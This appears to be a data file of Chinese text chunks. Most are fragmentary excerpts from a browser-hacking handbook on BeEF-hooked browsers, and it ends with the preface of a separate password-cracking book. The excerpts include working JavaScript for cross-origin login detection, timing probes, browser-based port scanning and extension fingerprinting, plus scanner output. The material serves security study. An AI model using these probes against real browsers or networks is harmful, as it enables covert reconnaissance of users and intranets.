浏览器插件旨在增加浏览器功能，为用户提供更丰富的体验。无论是查看新的媒体类型、增强应用功能，或者与其他服务通信，插件都为Web增加了无限可能。当然，与此同时，可被攻击的地方也变多了。要确定浏览器安装了什么插件并不难。通过查询DOM或加载ActiveX插件，BeEF可以确定加载了什么插件，并识别有漏洞的插件。 Java、Firefox和Chrome实现的Click to Play安全特性，虽然可以提高安全性，但已经被证明仍然是可以攻破的。本章讨论了在Java和Firefox中绕过点击播放的示例，但那些漏洞已经被修复了。不过，随着新的绕行技术出现，机会仍然存在。 本章还用较大篇幅讨论了Java、ActiveX及其他流行的媒体插件，但相关的利用技术对其他插件也适用。或许你会在终端安全评估中遇到一个不那么常见的插件，但只要可以方便地取得该插件，那么就没什么可以阻挡你去分析它的漏洞。 攻击插件并不单纯依赖浏览器，也依赖第三方应用组件。如果你知道受害人系统中安装了有漏洞的应用，也可通过浏览器去攻击该应用。 执行本地文件等利用技术，可以与其他复杂一些的攻击手段结合使用，以获得对目标系统的较高访问权限。另外的一些利用相对简单，只要一个URL就可以实现。插件沙箱尝试解决这个问题，但通过使用签名的插件、社会工程学，或者利用已有的信任关系，这样的限制同样有可能被打破以实现利用。 Chromium团队发表的一份声明 42 也提到了浏览器插件。考虑到稳定性和安全性，Chrome会在2014年底结束对古老的Netscape Plugin API（NPAPI）的支持。加上Mozilla要求Firefox用户在运行插件前先接受插件 43 ，看起来插件这个攻击面正开始缩小。 42 Chromium Blog. (2013). Saying Goodbye to Our Old Friend NPAPI . Retrieved October 23, 2013 from http://blog.chromium.org/2013/09/saying-goodbye-to-our-old-friend-npapi.html 43 Mozilla Blog. (2013). Plugin activation in Firefox . Retrieved October 23, 2013 from https://blog.mozilla.org/futurereleases/2013/09/24/plugin-activation-in-firefox/ 虽然Chrome和Firefox都在增加对使用插件的限制，但插件也不会在一夜之间消失。此外，由于历史原因及企业级需求，微软不大可能放弃对ActiveX插件的支持。无论各浏览器厂商有什么策略，只要用户愿意点击Accept，浏览器插件就还是侵入有漏洞的系统的一道大门。"},
    {"text": "Unknown 9.4 跨域认证检测 大多数具有一定逻辑功能的Web应用，都会把认证后和认证前可以访问的资源分开存放。 对于未认证用户访问需要认证后才能访问的资源，这些Web应用常用的方法是响应403或404 HTTP状态码。而对于登录之后的请求资源的用户，则响应200状态码。 另一个常用的方法是响应302 HTTP重定向状态码，将其用于请求受认证保护的路径下不存在的资源。比如，假设你请求http://browserhacker.com/admin/non_existent，在这里所有位于/admin/路径下的资源都要求用户认证。如果是未认证用户访问/admin/non_existent，Web应用就会响应302状态码，将其重定向回登录页面/admin/login。相反，如果是认证后的用户请求/admin/non_existent，就会得到404未找到错误。 Mike Cardwell分析了很多社交网络站点，检查它们是否都使用类似的HTTP状态码。他的分析揭示了有意思的结果 8 。比如Twitter，以第二种情况访问不存在的资源为例，会根据用户会话是否认证过，返回一个302或404。 8 Mike Cardwell. (2011). Abusing HTTP Status Codes to Expose Private Information . Retrieved June 15, 2013 from https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information 我们知道，HTML的 script 标签在要加载的资源返回403、404或500状态码的情况下会触发 onerror 事件，而在资源返回200或302状态码的时候会触发 onload 事件。而且，Twitter需要认识后才能访问/account/*路径下的资源。知道了这两方面的信息之后，就可以判定勾连浏览器是否已经在某个打开的标签页（或窗口）中登录到了Twitter，而且你可以在不违反SOP的情况下跨域这么做。下面的代码可以帮我们做到： var script = document.createElement(\"script\"); script.onload = function(){ alert('not logged in') }; script.onerror = function(){ alert('logged in') }; script.src = \"https://twitter.com/account/non_existent\"; var head = document.getElementsByTagName(\"head\")[0]; head.appendChild(script); 如图9-6所示，如果勾连浏览器没有登录到Twitter，则在请求/account/non_existent这个不存在的资源时，服务器会返回302状态码。这会触发脚本标签的 onload 事件。 图 9-6 检测到受害者没有登录Twitter 而如果勾连浏览器登录到了Twitter，如图9-7所示，请求同样不存在的资源就会返回404状态码，从而触发 onerror 事件。 图 9-7 检测到受害者登录了Twitter 监控资源加载时间也是跨域检测常用的技术。可以根据认证会话与非认证会话加载资源的时间差，推断出一些重要的信息。基于这些信息，可以判断浏览器是否登录到了某个应用。 Haroon Meer和Marco Slaviero在2007年的DEF CON 15上展示了这个技术 9 ，他们使用内嵌框架和自定义的 onload 事件处理程序，监控框架内资源的加载时间。加载时间的差别越大，结果就越精确。Web应用中的很多交互都会导致时间延长。 9 H. Meer and M. Slaviero. (2007). It's all about timing . Retrieved June 15, 2013 from http://www.defcon.org/images/defcon-15/dc15-presentations/Meer_and_Slaviero/Whitepaper/dc-15-meer_and_slaviero-WP.pdf 默认安装的Drupal 6就是一个不错的例子。如果你登录了，并且请求http://browserhacker.com/drupal/?q=admin，内容长度就会是3264字节。如果你没有登录并请求同一个URL，就会收到403 HTTP状态码，内容长度为1374字节。 内容越多，加载时间往往越长，当然也可能是毫秒级的。下面的代码可以执行上面的查询，但请注意进行修改，以适合你的需要和要测试的应用： var add_iframe; var counter = 5; var sum = 0; /* 匹配的平均时间。在此种情况下为 http://browserhacker.com/drupal/?q=admin资源: 登入用时> 210ms 未登入用时< 210ms */ var avg_to_match = 210; function append(){ if(counter > 0){ var i = document.createElement(\"iframe\"); i.src = \"http://browserhacker.com/drupal/?q=admin\"; var start = new Date().getTime(); console.log('start:' + start); /* 自定义onload处理程序监控加载时间*/ i.onload = function(){ var end = new Date().getTime(); console.log('end:' + end); var total = end - start; console.log('total:' + total); sum += total; counter--; } document.body.appendChild(i); }else{ clearInterval(add_iframe); var avg = sum / 5; var logged_in = true; console.log(\"sum: \" + sum + \", avg:\" + avg); if(avg < 210){ logged_in = false; } console.log(\"logged in Drupal 6: \" + logged_in); } } add_iframe = setInterval(function(){append()},500); 继续以Drupal为例，图9-8和图9-9展示了运行前面脚本之后的结果。注意总时长和平均时间的差别。 图 9-8 检测到受害者未登录到Drupal 图 9-9 检测到受害者登录到了Drupal 如果能准确知道勾连浏览器是否登录到了Web应用，那么接下来发动攻击就会更靠谱。有了这些先决信息，再知道没有被XSRF token保护的资源，就可以伪装成浏览器用户，执行各种操作。"},
    {"text": "Unknown 7.4 小结 把功能从浏览器核心转移到扩展中，确实能够防止浏览器体积过大。但是，这样一来也就把一些重要功能的开发和维护，交到了安全意识没有那么强的一些开发者手中。安全意识差，同时还被赋予了较高权限，就导致很多扩展出现了安全问题。有人认为，浏览器本身没有过于膨胀的代价是整体安全性降低了。 对于扩展如何增强浏览器体验，可以从多个角度去看待。有时候，或许把扩展看成每个页面都会运行的一种虚拟的Web应用更合适。而另一时候，或许可以把它们看成安装在操作系统中的应用。无论如何，都应该知道它们会在特权环境下运行，并且有权访问特权API。 本章分析了浏览器扩展的构成，以及如何检测勾连浏览器是否安装了你想攻击的扩展。我们探讨了多个扩展攻击面，以及不同的漏洞类别。通过学习，掌握了跨上下文脚本攻击的原理，以及扩大权限的一些可靠方法。 总之，这一章全面讨论了利用Chrome和Firefox扩展的复杂技术。下一章会深入研究浏览器插件。插件是增强浏览器体验的另一种流行的方式，同样也有着可观的攻击面。"},
    {"text": "8 SPI Dynamics Labs. (2006). Detecting, Analyzing, and Exploiting Intranet Applications using JavaScript . Retrieved October 29, 2013 from http://www.rmccurdy.com/scripts/docs/spidynamics/JSportscan.pdf 此后不久，Jeremiah Grossman在BlackHat 2006上发布了自己的研究成果 9 ，亮点就是通过浏览器来攻击内网的例子。"},
    {"text": "后来，Petko Petkov 10 发布了第一套可靠的JavaScript端口扫描程序的实现，如下所示： 9 Jeremiah Grossman. (2006). Hacking intranet websites from the outside . Retrieved October 29, 2013 from http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf 10 Petko Petkov. (2006). JavaScript portscanner . Retrieved October 29, 2013 from http://www.gnucitizen.org/blog/javascript-port-scanner/ scanPort: function(callback, target, port, timeout){ var timeout = (timeout == null)?100:timeout; var img = new Image(); img.onerror = function () { if (!img) return; img = undefined; callback(target, port, 'open'); }; img.onload = img.onerror; // 注意,用了http:// img.src = 'http://' + target + ':' + port; setTimeout(function () { if (!img) return; img = undefined; callback(target, port, 'closed'); }, timeout); }, // ports_str应该会像\"80,8080,8443\"之类的 scanTarget: function(callback, target, ports_str, timeout){ var ports = ports_str.split(\",\"); for (index = 0; index < ports.length; index++) { this.scanPort(callback, target, ports[index], timeout); }; } 虽然这种技术年代有点久远了，但目前仍然被认为是较为可靠的端口扫描方法。"},
    {"text": "比如，在浏览器中通过 端口封禁 （port banning）可以限制哪些端口能通过HTTP请求来访问。 10.3.1 绕过端口封禁 除了同源策略，现代浏览器通常都具备另一项限制功能，可以防御对非HTTP服务的攻击。 这个功能被称为 端口封禁 ，可以屏蔽对22、25、110或143等特殊端口的请求，以防止浏览器向运行在已知端口上的服务发出请求。 端口封禁 端口封禁是浏览器实现的一种安全防范机制，可以拒绝对非标准TCP端口的连接。"},
    {"text": "）虽然这种安全机制也可以放宽，但与其他安装机制不同，它不能像SOP那样通过特殊的HTTP首部、HTML标签或属性来配置，而是所有配置都放在浏览器核心配置项里面。"},
    {"text": "图 10-6 尝试通过HTTP协议连接143端口时出错 图 10-7 Netcat监听器（未收到数据） 端口封禁会拒绝发送到某些TCP端口的请求，这是大多数浏览器都已经实现的防御机制。"},
    {"text": "11 Sandro Gauci. (2002). Extended HTML Form Attack . Retrieved October 29, 2013 from http://eyeonsecurity.org/papers/Extended%20HTML%20Form%20Attack.htm 12 Sandro Gauci. (2008). The Extended HTML Form Attack revisited . Retrieved October 29, 2013 from https://resources.enablesecurity.com/resources/the%20extended%20html%20form%20attack%20revisited.pdf 对于开源浏览器，由于其代码公开可读，所以它们封禁的TCP端口是众所周知的。"},
    {"text": "13 The Chromium Authors. (2012). net_util.cc . Retrieved October 29, 2013 from http://src.chromium.org/svn/trunk/src/net/base/net_util.cc 14 Mozilla. (2008). nsIOService.cpp . Retrieved October 29, 2013 from http://lxr.mozilla.org/seamonkey/source/netwerk/base/src/nsIOService.cpp#87 有读者可能想验证开源和闭源浏览器都封禁了哪些端口，那么可以使用下面给出的代码来检测实际被封禁的TCP端口。"},
    {"text": "另外，还需要设置iptables，将所有TCP端口的请求转发到服务器脚本监听的端口。 假设你把脚本绑定到了192.168.0.3:10000，那么可以在iptables中使用以下配置，将所有流量转发给TCP端口10000： iptables -A PREROUTING -t nat -i eth1 -p tcp --dport\\ 1:65535 -j DNAT --to-destination 192.168.0.3:10000 这样就不用分别监听每一个TCP端口了。"},
    {"text": "下面的Ruby代码会负责监听TCP端口10000： require 'socket' @@not_banned_ports = \"\" def bind_socket(name, host, port) server = TCPServer.new(host,port) loop do Thread.start(server.accept) do |client| data = \"\" recv_length = 1024 threshold = 1024 * 512 while (tmp = client.recv(recv_length)) data += tmp break if tmp.length < recv_length || tmp.length == recv_length # 512 KB max of incoming data break if data > threshold end if data.size > threshold print_error \"More than 512 KB of data\" + \" incoming for Bind Socket [#{name}].\" else headers = data.split(/\\r\\n/) host = \"\" headers.each do |header| if header.include?(\"Host\") host = header break end end port = host.split(/:/)[2] || 80 puts \"Received connection on port #{port}\" @@not_banned_ports += \"#{port}\\n\" client.puts \"HTTP/1.1 200 OK\" client.close end client.close end end end begin bind_socket(\"PortBanning\", \"192.168.0.3\", 10000) rescue Exception File.open(\"not_banned_browserX\",'w'){|f| f.write(@@not_banned_ports) } end 服务器端代码使用不同的线程处理每个连接，并解析HTTP请求首部。"},
    {"text": "这段代码会每隔100毫秒就向一个不同的TCP端口发送一次XHR请求，端口号从1开始，到7000为止： var index = 1; // 迭代到TCP端口7000 var end = 7000; var target = \"http://192.168.0.3\"; var timeout = 100; function connect_to_port(){ if(index <= end){ try{ var xhr = new XMLHttpRequest(); var port = index; var uri = target + \":\" + port + \"/\"; xhr.open(\"GET\", uri, false); index++; xhr.send(); console.log(\"Request sent to port: \" + port); setTimeout(function(){connect_to_port();},timeout); }catch(e){ setTimeout(function(){connect_to_port();},timeout); } }else{ console.log(\"Finished\"); return; } } connect_to_port(); 通过在多个浏览器中执行以上代码，你会收到一堆结果。"},
    {"text": "如果发现文件中有间断，则说明缺少的端口被封禁了，因为没有收到连接信息： port = 1 banned_ports = Array.new previous_port = 1 File.open('not_banned_browserX').each do |line| current_port = line.chomp.to_i if(current_port == port) # go to next port port = port + 1 elsif(port < current_port) diff = current_port - port diff.times do puts \"Banned port: #{port.to_s}\" banned_ports << port.to_s port = port + 1 end port = current_port + diff end end puts \"Banned port list:\\n#{banned_ports.join(',')}\" 图10-8展示了一次检测的结果，包含Firefox、IE、Chrome和Safari浏览器各自封禁的端口。"},
    {"text": "图 10-8 不同浏览器封禁的端口 Chrome和Safari封禁的端口完全相同（最大端口号也一样），而它们与Firefox和IE却有诸多不同。 IE是最宽容的浏览器，封禁的端口最少，只会屏蔽对下列端口的连接： 19,21,25,110,119,143,220,993 与Firefox一样，IE也允许连接到IRC端口。"},
    {"text": "10.3.2 使用 IMG 标签扫描端口 下面给出的方法与Petko Petkov的JavaScript端口扫描程序的实现类似（该扫描程序是他创建的AttackAPI 15 工具包中的工具之一）。"},
    {"text": "Javier Marcos针对BeEF项目改进了这个方案，并在OWASP AppSec USA 2011大会 16 上对公众发表，其代码如下所示： 15 Petko Petkov. (2010). Attack API . Retrieved October 29, 2013 from https://code.google.com/p/attackapi/ 16 Javier Marcos and Juan Galiana. (2011). Pwning intranets with HTML5 . Retrieved October 29, 2013 from http://2011.appsecusa.org/p/pwn.pdf function http_scan(start, protocol_, hostname, port_){ var img_scan = new Image(); img_scan.onerror = function(evt){ var interval = (new Date).getTime() - start; if (interval < closetimeout){ if (process_port_http == false){ port_status_http = 1; // closed console.log('Port ' + port_ + ' is CLOSED'); clearInterval(intID_http); } process_port_http = true; } }; // 对onerror和onload事件调用同样的处理程序 img_scan.onload = img_scan.onerror; img_scan.src = protocol_ + hostname + \":\" + port_; intID_http = setInterval(function(){ var interval = (new Date).getTime() - start; if (interval >= opentimeout){ if (!img_scan) return; img_scan = undefined; if (process_port_http == false){ port_status_http = 2; // open process_port_http = true; } clearInterval(intID_http); console.log('Port ' + port_ + ' is OPEN '); } } , 1); } var protocol = 'http://'; var hostname = \"172.16.37.147\"; var process_port_http = false; var port_status_http = 0; // unknown var opentimeout = 2500; var closetimeout = 1100; var ports = [80,5432,9090]; for(var i=0; i<ports.length; i++){ var start = (new Date).getTime(); http_scan(start, protocol, hostname, ports[i]); } 图10-9展示了在Firefox中运行上面的代码，以验证三个未被封禁的TCP端口（80、5432和9090）的结果。"},
    {"text": "17 Michele Orru. (2013). BeEF RESTful API . Retrieved October 29, 2013 from https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ipHost ：要扫描端口的目标IP地址。"},
    {"text": "以下就是只使用一个浏览器时的命令（需要输入的命令加粗了）： $ ruby ./dist_pscanner.rb [>>>] BeEF Distributed Port Scanner] [+] Retrieved RESTful API token: 006c1aed13b124d0c1c8fb50c98fb35d04a78d5e [+] Retrieved Hooked Browsers list. Online: 3 [+] Retrieved 185 available command modules [+] Online Browsers: [1] 127.0.0.1 - C28 Macintosh [2] 192.168.1.101 - C28 Windows?7 [3] 127.0.0.1 - C28 Macintosh [+] Provide a comma separated list of browsers to use (i.e. 1 or 1,3 or 1,2,3 etc): 1 [+] Using: [1] 127.0.0.1 - C28 Macintosh [+] Enter target IP to port scan: 192.168.1.254 [+] Enter target ports to scan (i.e. 1-65535 or 22-80 or 1-1024): 70-80 [+] Split will be as follows: [1] 70-80 [+] Ready to proceed? <Enter> [+] Starting port scan against 192.168.1.254 from 70-80 [1] [+] Scan queued... [1] port=Scanning: 70,71,72,73,74,75,76,77,78,79,80 [1] port=WebSocket: Port 80 is OPEN (http) [1] Scan Finished in 43995 ms [+] All Scans Finished!! Time Taken: 60.248801 在这个例子中，只有一个Chrome浏览器扫描了一个IP地址的70到80端口，用时约60秒。 如果使用3个勾连浏览器完成同样的任务，你会发现结果会稍有不同： $ ruby ./dist_pscanner.rb [>>>] BeEF Distributed Port Scanner] [+] Retrieved RESTful API token: 006c1aed13b124d0c1c8fb50c98fb35d04a78d5e [+] Retrieved Hooked Browsers list. Online: 3 [+] Retrieved 185 available command modules [+] Online Browsers: [1] 127.0.0.1 - C28 Macintosh [2] 192.168.1.101 - C28 Windows?7 [3] 127.0.0.1 - C28 Macintosh [+] Provide a comma separated list of browsers to use (i.e. 1 or 1,3 or 1,2,3 etc): 1,2,3 [+] Using: [1] 127.0.0.1 - C28 Macintosh [2] 192.168.1.101 - C28 Windows?7 [3] 127.0.0.1 - C28 Macintosh [+] Enter target IP to port scan: 192.168.1.254 [+] Enter target ports to scan (i.e. 1-65535 or 22-80 or 1-1024): 70-80 [+] Split will be as follows: [1] 70-73 [2] 74-77 [3] 78-80 [+] Ready to proceed? <Enter> [+] Starting port scan against 192.168.1.254 from 70-73 [1] [+] Scan queued... [+] Starting port scan against 192.168.1.254 from 74-77 [2] [+] Scan queued... [+] Starting port scan against 192.168.1.254 from 78-80 [3] [+] Scan queued... [1] port=Scanning: 70,71,72,73 [2] port=Scanning: 74,75,76,77 [3] port=Scanning: 78,79,80 [3] port=CORS: Port 80 is OPEN (http) [3] port=WebSocket: Port 80 is OPEN (http) [2] Scan Finished in 14800 ms [3] Scan Finished in 11997 ms [1] Scan Finished in 15998 ms [+] All Scans Finished!! Time Taken: 32.306009 把同一个命令分配到3个浏览器上，耗时会从原来的60秒减少到约32秒。"},
    {"text": "在浏览器五彩斑斓的历史长河中，总是你方唱罢我登场，热闹非凡。 有赢家，也有输家，有小众的最爱，也有大众的选择，而且各家浏览器的声望也是此起彼伏。"},
    {"text": "服务器会发送CSP HTTP首部Content-Security-Policy或X-Content-Security-Policy，以规定可以从哪里加载脚本，同时还规定了对这些脚本的限制，比如是否允许执行JavaScript的 eval() 函数。"},
    {"text": "3. HttpOnly cookie标志 HttpOnly是另一个应用给cookie的标志，而且所有现代浏览器都支持它。 HttpOnly标志的用途是指示浏览器禁止任何脚本访问cookie内容，这样就可以降低通过JavaScript发起的XSS攻击（详见第2章）偷取cookie的风险。"},
    {"text": "而 nosniff 指令可以禁用浏览器的上述行为，强制浏览器按照Content-type首部来渲染内容。 举个例子，如果服务器给一个 script 标签返回的响应中带有 nosniff 指令，那么除非响应的MIME类型是 application/javascript （或其他几个字符串），否则浏览器会忽略响应内容。"},
    {"text": "从浏览器安全角度来看，很可能有人会利用这一点控制浏览器。 比如，这个人上传一种允许上传的文件（看起来似乎很安全），而浏览器随后却以另一种比较危险和易变的方式去解释它。"},
    {"text": "这种攻击是把诱导页面放到一个完全透明的前景框架窗口中，而用户以为自己点击的是下方不透明的（被攻击的）页面，实际上点击的却是透明的前景（诱导）页面。"},
    {"text": "1.3.2 反射型XSS过滤 这个浏览器安全特性试图检测、清除和阻止第2章将会介绍的 反射型XSS （Reflected XSS）。 浏览器会尝试被动地发现已经成功的反射型XSS攻击，然后尝试清除响应中的脚本，更多的时候是阻止它们执行。"},
    {"text": "13 Facebook. (2013). Getting Started for Websites - Facebook developers . Retrieved December 15, 2013 from https://developers.facebook.com/docs/guides/web/ HTML5规范也提出了一个IFrame沙箱建议，而且已经被现代浏览器支持。"},
    {"text": "14 StopBadware. (2013). Firefox Website Warning | StopBadware . Retrieved December 15, 2013 from https://www.stopbadware.org/firefox 1.3.5 混入内容 所谓 混入内容 （mixed content）网站，是指某个来源使用HTTPS协议，然后又通过HTTP请求内容。"},
    {"text": "在任何安全攻防中，你都不大可能从头到尾一页不差地翻阅这本书，而是会跳着阅读，先看完前面的介绍性章节，然后再视情况跳到最相关的章节。"},
    {"text": "第6章 攻击浏览器 虽然这一本书都在讲如何攻击浏览器，如何绕过它的安全部署，但这一章只关注所谓的核心浏览器，换句话说，就是没有任何扩展和插件的浏览器。"},
    {"text": "24 Giovanni Cattani. (2013). Detecting Chrome Extensions in 2013 .Retrieved November 30, 2013 from http://gcattani.co.vu/2013/03/detecting-chrome-extensions-in-2013/ 25 Krzysztof Kotowicz. (2012). Chrome addons enumeration . Retrieved November 30, 2013 from http://koto.github.io/blog-kotowicz-net-examples/chrome-addons/enumerate.html 接下来几小节介绍检测扩展的几种方法。"},
    {"text": "7.2.1 使用HTTP首部采集指纹 有的扩展可能会稍微修改一点请求首部，而有的扩展则生怕别人不知道浏览器安装了它们，对请求首部进行重度定制。 为了采集扩展指纹，我们需要通过检测目标扩展，来确定请求首部是否被修改过。 为了看出修改，可以捕获安装扩展前后的请求首部加以比较。"},
    {"text": "在下面的FirePHP代码中，可以看到该扩展修改了User-Agent请求首部： httpChannel.setRequestHeader(\"User-Agent\", httpChannel.getRequestHeader(\"User-Agent\") + ' '+ \"FirePHP/\" + firephp.version, false); 这行代码让FirePHP扩展在User-Agent请求首部后面追加了FirePHP/<VERSIONNUMBER>，从而表明自己的可用性。 正如下面的请求首部所示，要发现这一点非常容易： GET / HTTP/1.1 Host: browserhacker.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 FirePHP/0.7.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate 前面Firefox浏览器在请求中发送给Web服务器的HTTP首部被修改了。 User-Agent首部字符串后面有 FirePHP/0.7.1 。"},
    {"text": "如下所示，针对所有URL，都会在 document_start 期间加载onloadwff.js： \"all_frames\": true, \"js\": [ \"onloadwff.js\" ], \"matches\": [ \"http://*/*\", \"https://*/*\", \"file:///*\" ], \"run_at\": \"document_start\" 这里先忽略问题多多又很宽松的 file:///* 匹配模式，只考虑采集指纹。"},
    {"text": "最后，扩展会运行一个函数，修改渲染后页面的DOM，给它添加一个新的、空的script标签： <script id=\"hiddenlpsubmitdiv\" style=\"display: none;\"></script> 这个扩展也会在DOM底部嵌入JavaScript。"},
    {"text": "相关条件在修改DOM的代码之前： if(b != \"acidtests.org\" && a.getElementById(\"hiddenlpsubmitdiv\") == null && a.forms.length > 0) { 这个 if 语句检测当前页面，确定不是acidtests.org，而且DOM中并不包含hiddenlpsubmitdiv脚本，同时至少要有一个HTML表单。 如果页面中包含表单，则修改DOM，我们可以通过以下JavaScript，来检测LastPass存在与否： var result = \"Not in use or not installed\"; var lpdiv = document.getElementById('hiddenlpsubmitdiv'); // 先检查div if (typeof(lpdiv) != 'undefined' && lpdiv != null) { result = \"Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv\"; // 使用jQuery搜索脚本元素中的lastpast_iter } else if ($(\"script:contains(lastpass_iter)\").length > 0) { result = \"Detected LastPass through presence of the embedded <script> which includes references to lastpass_iter\"; } else { if (document.getElementsByTagName(\"form\").length == 0) { result = \"The page doesn't seem to include any forms - we can't tell if LastPass is installed\"; } } 首先，JavaScript检测前面讨论的脚本元素。"},
    {"text": "基于清单文件版本1的谷歌Chrome扩展，允许访问扩展的所有文件，就是通过相应的URL来实现：chrome-extension:///path/to/file.txt。 因为所有扩展都有一个manifest.json文件，所以知道GUID后就可以请求下面的URL了： chrome-extension://abcdefghijklmnopqrstuvwxyz012345/manifest.json 不过那是以前了。"},
    {"text": "以下来自清单文件中的代码片段，就是这样一个被声明的数组的例子，其中将logo.png、menu.html和style.css标记为可访问： { { \"name\": \"extensionName\", \"version\": \"versionString\", \"manifest_version\": 2 }, \"web_accessible_resources\": [ \"logo.png\", \"menu.html\", \"style.css\" ] } 对这个虚构的扩展而言，可以通过以下URL访问logo.png资源： chrome-extension://abcdefghijklmnopqrstuvwxyz012345/logo.png 实际上，只要两个信息就可以采集目标扩展指纹了。"},
    {"text": "第二个就是 web_accessible_resources 数组中定义了什么资源（如果有的话）。 好在，大多数扩展都至少会在 web_accessible_resources 数组中声明一项资源。"},
    {"text": "这些工具会从Chrome Web Store下载并解压扩展，你可以使用它扫描manifest.json文件，并在此基础上构建你的Chrome扩展指纹采集数据库。 26 Krzysztof Kotowicz. (2013). XssChef . Retrieved November 30, 2013 from https://github.com/koto/xsschef/blob/master/tools/scrap.php 有了Chrome扩展指纹数据库，需要在勾连浏览器中运行一些代码，探测相应资源。 以前面的logo.png资源为例，可以生成以下代码 27 ： 27 Giovanni Cattani. (2013). The evolution of Chrome extensions . Retrieved November 30, 2013 from http://blog.beefproject.com/2013/04/the-evolution-of-chrome-extensions.html var testScript = document.createElement(\"script\"); testURL = \"chrome-extension://abcdefghijklmnopqrstuvwxyz012345/logo.png\"; testScript.setAttribute(\"onload\", \"alert('Extension Installed!')\"); testScript.setAttribute(\"src\", testURL); document.body.appendChild(testScript); 基于这段代码的模式，可以迭代扩展数据库，迅速采集目标扩展指纹。"},
    {"text": "Unknown 6.8 问题 (1) 为什么在采集浏览器指纹时，使用DOM属性比使用User-Agent首部更可靠？ (2) 对一个存在的DOM属性进行两次取反操作，比如 !!window ，会得到什么结果？ (3) 对一个 null 值两次取反（比如 !!null ）会得到什么结果？ (4) JavaScript加密的效果如何？ (5) 为什么需要取得浏览器语言信息？ (6) 浏览器的一些特有行为对采集其指纹有什么帮助？ (7) 什么样的cookie设置可以确保JavaScript不能访问cookie，而且只能通过HTTPS发送cookie？ (8) 在SSL认证中， Null 字符攻击的工作原理是什么？ (9) Metasploit的正向shell与反向shell有什么区别？ (10) BeEF与Metasploit之间怎么实现通信？ 要查看问题答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。"},
    {"text": "Cover Section0001 版权信息 书名：黑客攻防：实战加密与解密 作者：陈小兵 排版：辛萌哒 出版社：电子工业出版社 出版时间：2016-11-01 ISBN：9787121299858 — · 版权所有 侵权必究 · — 未知 内容简介 本书从黑客攻防的专业角度，结合网络攻防中的实际案例，图文并茂地再现Web渗透涉及的密码获取与破解过程，是市面上唯一一本对密码获取与破解进行全面研究的图书。本书共分7章，由浅入深地介绍和分析了目前流行的Web渗透攻击中涉及的密码获取、密码破解方法和手段，并结合多年的网络安全实践经验给出了相对应的安全防范措施，对一些经典案例还给出了经验总结和技巧。本书最大的特色就是实用和实战性强，思维灵活，内容主要包括Windows操作系统密码的获取与破解、Linux操作系统密码的获取与破解、数据库密码的获取与破解、电子邮件密码的获取与破解、无线网络密码的获取与破解、App密码的获取与破解、各种应用软件的密码破解、破解WebShell口令、嗅探网络口令、自动获取远程终端口令等。 本书既可以作为政府、企业相关人员研究网络安全的参考资料，也可以作为大专院校学生学习渗透测试的教材。 未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。 版权所有，侵权必究。"},
    {"text": "未知 前言 在出版《黑客攻防实战案例解析》、《Web渗透技术及实战案例解析》和《安全之路——Web渗透技术及实战案例解析（第2版）》后，我和安天365团队经过讨论，决定将技术进行细化，进行专题研究，编写一系列黑客攻防实战方面的图书。经过近一年的努力，终于将《黑客攻防：实战加密与解密》完成。 本书从Web渗透的专业角度系统探讨黑客安全攻防中涉及的密码获取与破解技术，内容尽可能贴近实战。攻击与防护是辩证统一的关系，掌握了攻击技术，也就掌握了相应的防护技术。密码是黑客渗透中最为关键的部分，进入VPN需要密码，进入邮箱需要密码，进入域控服务器也需要密码。在渗透进服务器后，如何尽可能多地搜集和获取密码，是黑客获得更多权限的关键。 本书以Web渗透攻击与防御为主线，主要通过典型的案例来讲解密码的保护和破解技术。在每一个案例中，除了技术原理外，还对技术要点进行了总结和提炼。掌握和理解这些技术后，读者在遇到类似的场景时可以自己进行操作。本书采用最为通俗易懂的图文解说方式，按照书中的步骤即可还原攻防情景。通过阅读本书，初学者可以很快掌握Web攻防的流程、最新的技术和方法，有经验的读者可以在技术上更上一层楼，让攻防技术在理论和实践中更加系统化。 本书共分7章，由浅入深，依照Web攻防密码保护与获取的技术特点安排内容，每一节都是一个具体技术的典型应用，同时结合案例给予讲解，并给出一些经验总结。本书主要内容安排如下。 第1章 Windows操作系统密码的获取与破解 介绍目前黑客攻防过程中如何获取Windows操作系统的密码，如何使用LC5、Ophcrack、Hashcat等工具对获取系统密码Hash值进行快速破解，以及如何安全设置操作系统的密码和如何检查系统是否存在克隆账号等。 第2章 Linux操作系统密码的获取与破解 介绍Linux操作系统root账号和密码的获取与破解，使用fakesu记录root用户密码，Hydra暴力破解密码，读取Linux保存的密码等。 第3章 数据库密码的获取与破解 介绍常见的数据库加密方式，破解Access密码，破解MySQL数据库密码，通过网页文件获取数据库账号和口令，扫描获取SQL Server肉机，通过sa权限、MySQL root提权等。 第4章 电子邮件密码的获取与破解 电子邮箱是存储私密和敏感信息的重要位置。本章主要介绍如何快速获取浏览器中保存的邮箱和网站等的密码，如何获取Foxmail等软件保存的密码，以及如何扫描和攻击邮箱口令等，并给出了相应的防范建议。 第5章 无线网络密码的获取与破解 介绍如何使用CDlinux无线破解系统破解无线网络的密码，如何获取系统保存的无线网络密码，以及如何利用公共无线网络密码渗透并获取他人的邮箱口令等。 第6章 App密码的获取与破解 本章介绍如何对App程序进行反编译并获取程序中的密码等信息，同时对手机木马反编译、手机锁等技术进行了探讨。 第7章 其他密码的获取与破解 本章主要介绍pcAnywhere、VNC等账号和口令的破解，讨论Discuz！论坛密码记录及安全验证问题暴力破解、一句话密码破解获取网站WebShell，以及使用Burp Suite破解WebShell密码、手工检测黑客工具“中国菜刀”是否包含后门等。 虽然本书内容已经比较丰富和完整，但仍然无法涵盖所有的黑客攻防技术。技术的探索没有止境，更多的工具和方法，读者可以在日常学习和工作中去探索和发现。 资源下载 笔者在书中提到的所有相关资源可以到安天365网站（http://www.antian365.com）下载。特别是作者在多年工作中收集的渗透工具包，也在安天365网站免费提供下载。 特别声明 本书的目的绝不是为那些怀有不良动机的人提供支持，也不承担因为技术被滥用所产生的连带责任。本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全问题带来的经济损失。 